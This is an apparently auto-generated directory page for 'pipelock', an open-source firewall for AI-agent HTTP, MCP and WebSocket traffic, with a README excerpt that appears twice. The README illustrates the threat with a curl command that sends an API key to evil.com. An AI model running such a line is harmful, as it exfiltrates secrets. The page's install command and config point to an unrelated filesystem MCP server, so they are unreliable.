P
pipelab-org/pipelock
Firewall for agent traffic: HTTP, MCP and WebSocket
View on GitHub ↗Link checked 2026-11-12 · HTTP 200 · opens the vendor's own site
Install & config
Client config (built from the install command this repo gives)
{
"mcpServers": {
"pipelab-org-pipelock": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem"]
}
}
}Parsed from the README we fetched on 2026-11-07; we have not executed it.
command/args come from the install command the repository states. When it is ambiguous, the project README wins.
VS Code (.vscode/mcp.json - the key is servers)
{
"servers": {
"pipelab-org-pipelock": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem"]
}
}
}Same server, but VS Code keeps it under <code>servers</code>.
Claude Code (command line)
claude mcp add --transport stdio pipelab-org-pipelock -- npx -y @modelcontextprotocol/server-filesystem
Claude Code does not read a config file; add the server with this command.
Key names differ by client: Clients & CLI
- Source
- collected from the abordage/awesome-mcp list · type: MCP server
- Harvest history
- first seen 2026-11-05 · last seen 2026-11-14 · seen 10× · listed by 10 sources
- Score
- score 1,003 · 10 sources · mcp
- Install
npx -y @modelcontextprotocol/server-filesystem
FAQ (answers come from our records)
How do I install it?
The repository provides this install command:
npx -y @modelcontextprotocol/server-filesystem. It comes from the repository itself; we cannot guarantee it runs as-is in your client.Who is it for?
We filed it under these tags: MCP 服务. The tags come from the entry itself, not a taxonomy we imposed.
Who maintains it?
first catalogued 2026-11-05;last seen 2026-11-14。There is no official certification or quality rating here — we record sources and dates only.
Open-source AI agent firewall for Verifiable Egress Control .
以下摘录自该仓库的 README(片段) · 在 GitHub 读完整 README →
Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level. Configured MCP upstreams are an exception to private-address SSRF blocking: local/private servers are allowed, but cloud metadata endpoints remain blocked.
Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.
Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problem ·
Verify ·
Quick Start ·
Action ·
Catches ·
Features ·
Architecture ·
Docs ·
Playground ·
Blog ·
Ask Dosu
Try it in your browser at the live playground . If Pipelock earns it, star the repo so other people find it.
## The Problem
Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:
bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.
## Verify It Yourself
Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.
The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:
bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is .json)
The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.
The evidence viewer is free and needs no license. It reads a flight-recorder
session, which is what Pipelock writes while it runs, rather than the demo
receipts above:
bash
pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server
Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.
Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problem ·
Verify ·
Quick Start ·
Action ·
Catches ·
Features ·
Architecture ·
Docs ·
Playground ·
Blog ·
Ask Dosu
Try it in your browser at the live playground . If Pipelock earns it, star the repo so other people find it.
## The Problem
Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:
bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.
## Verify It Yourself
Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.
The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:
bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is .json)
The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.
The evidence viewer is free and needs no license. It reads a flight-recorder
session, which is what Pipelock writes while it runs, rather than the demo
receipts above:
bash
pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server
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- awesome · https://github.com/pipelab-org/pipelock
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